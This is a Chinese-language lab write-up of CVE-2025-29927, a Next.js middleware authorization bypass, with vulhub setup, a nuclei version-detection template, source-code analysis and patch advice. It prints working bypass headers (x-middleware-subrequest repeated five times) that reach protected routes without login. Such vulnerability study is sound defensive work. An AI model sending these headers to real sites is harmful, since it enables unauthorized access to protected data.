跳转至

CVE-2025-29927 Next.js 中间件权限绕过漏洞

漏洞描述

Nextjs是一个使用react作为前端框架底层的支持SSR(请求时渲染)、SSG(构建时渲染)等技术的全栈框架,在2022年的服务端框架中排名第一。

它的优点非常明显,既支持react的虚拟dom形式快捷完成开发,又支持访问即可看到完整内容,友好的SEO/浏览器直出形式。结合了静态分离和服务器渲染的双重优势。

CVE-2025-29927 是一个存在于 Next.js 框架中的关键安全漏洞。该漏洞允许攻击者通过伪造或篡改 x-middleware-subrequest 请求头,绕过中间件(Middleware)的安全检查,从而访问到原本受保护的路由或 API,进而导致授权绕过(Authorization Bypass)以及潜在的更深层次安全风险。

影响版本

根据官方与社区披露,受影响的版本范围及对应修复版本如下:

  • Next.js 11.1.4 ~ 13.5.6:未修补版本
  • Next.js 14.x:在 14.2.25 之前均受影响
  • Next.js 15.x:在 15.2.3 之前均受影响

环境配置

  • vulhub
  • Docker-compose
Bash
# 下载vulhub后
cd next.js/CVE-2025-29927
docker-compose up -d

image-20250412111311314

漏洞复现

  • 手动复现

image-20250412113904824

在没有登陆时,访问根目录会跳转到login路由

添加header

Text Only
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

image-20250412114030563

image-20250412114112397

绕过登陆,直接未授权访问

  • nuciel
YAML
id: CVE-2025-29927-HEADLESS

info:
  name: Next.js Middleware Authorization Bypass
  author: ademking
  severity: critical
  description: |
    A critical vulnerability in Next.js middleware allows attackers to bypass authorization checks by manipulating the x-middleware-subrequest header. This flaw affects Next.js versions prior to 14.2.25 and 15.2.3, potentially granting unauthorized access to sensitive resources.
  reference:
    - https://github.com/advisories/GHSA-f82v-jwr5-mffw
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29927
    - https://www.tenable.com/cve/CVE-2025-29927
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-285
  metadata:
    vendor: vercel
    product: Next.js
    framework: node.js
  tags: cve,cve2025,headless,nextjs

headless:
  - steps:
      - args:
          url: "{{BaseURL}}"
        action: navigate

      - action: waitstable

      - action: script
        name: nextjs_version
        args:
          code: |
            () => {
              if (!window.next || !window.next.version) {
                return "";
              }
              return window.next.version;
            }

    extractors:
      - type: dsl
        part: nextjs_version
        dsl:
          - '"Vulnerable Next.js => " + nextjs_version'

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(nextjs_version, '>= 11.1.4', '<= 13.5.6')"
          - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
          - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
        condition: or
# digest: 4a0a00473045022100e7ef01315b5c9dff2e5567ad1421f5cf95ccaa62554a094e5faada3fe08261a10220611dab02751e9a58d17176f3632bd8a638191fc08abc6b7453a34abb9de3a5a0:922c64590222798bb761d5b6d8e72950

漏洞原理

Next.js 的中间件(Middleware)设计用于处理全局请求逻辑(如身份验证、请求拦截,假设开发者编写了一个身份验证中间件,其功能是:当用户访问受保护资源时,中间件需向校验 API 发送请求以验证用户权限(如查询数据库或调用外部服务)。

由于 Next.js 是「全栈框架」,所有请求(包括中间件内部发起的 API 请求)均会再次经过中间件本身。这导致以下递归流程:

PHP
用户请求 → 中间件A(身份验证) → 发起API请求 → 中间件A再次执行 → 再次发起API请求 → ...

最终引发无限递归,导致服务崩溃或响应超时。

为打破递归循环,Next.js 引入了两项机制:

  • 请求标记: 中间件内部发起的请求会自动添加 x-middleware-subrequest 头,其值按层级递增(如 middleware:middleware:middleware)。
  • 递归终止条件: 当检测到 x-middleware-subrequest 头中包含当前中间件标识(如 middleware)的次数超过阈值(默认5次),中间件直接返回空响应,终止递归

主要逻辑在这里 https://github.com/vercel/next.js/blob/v15.2.2/packages/next/src/server/web/sandbox/sandbox.ts

JavaScript
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {  
  const runtime = await getRuntimeContext(params)  
  const subreq = params.request.headers[`x-middleware-subrequest`] //  
  const subrequests = typeof subreq === 'string' ? subreq.split(':') : []  

  const MAX_RECURSION_DEPTH = 5  
  const depth = subrequests.reduce(  
    (acc, curr) => (curr === params.name ? acc + 1 : acc),  
    0  
  )  

  if (depth >= MAX_RECURSION_DEPTH) {  
    return {  
      waitUntil: Promise.resolve(),  
      response: new runtime.context.Response(null, {  
        headers: {  
          'x-middleware-next': '1',  
        },  
      }),  
    }  
  }

当请求头中包含 x-middleware-subrequest 时,中间件会将其值按 : 分割为数组 subrequests,并检查是否包含当前中间件的 name(即中间件文件路径)

若 subrequests 中包含当前中间件名称,则 depth 自增。当 depth ≥ 5 时,中间件返回空响应并停止处理。

所以漏洞的利用思路是,只要在发送给next.js的请求中增加一个头**x-middleware-subrequest:**,让其循环5次中间件文件路径,就可以绕过next.js的中间件。如果开发者将校验用户身份的逻辑放在中间件里,就将导致认证绕过漏洞。

中间件文件路径是可以预测的

  • 旧版本(≤12.2):中间件文件必须命名为 _middleware.ts 并放置在 pages/ 目录或其子目录下。例如,若中间件位于 /pages/dashboard/_middleware.ts,则 middlewareInfo.name 为 pages/dashboard/_middleware,攻击者只需在请求头中设置 x-middleware-subrequest: pages/dashboard/_middleware 即可绕过。
  • 新版本(≥12.2):中间件文件更名为 middleware.ts,位于 src/ 或根目录。此时,攻击者只需设置 x-middleware-subrequest: middleware 或 x-middleware-subrequest: src/middleware 即可绕过。

所以最终payload为

Text Only
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware  
或者  
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

修复建议

升级 Next.js 版本

  • ≥15.2.3(15.x)
  • ≥14.2.25(14.x)

给中间件的白名单请求头现在改成了一个随机的 8 字节 ID ,标识中间件子请求的来源,被添加到请求头 x-middleware-subrequest-id 。如果请求头中的 x-middleware-subrequest-id 与全局存储的 ID 不匹配,则删除 x-middleware-subrequest 请求头。此更改确保了只有来自相同会话的子请求才会被视为中间件子请求。

image-20250412140012547

image-20250324211355033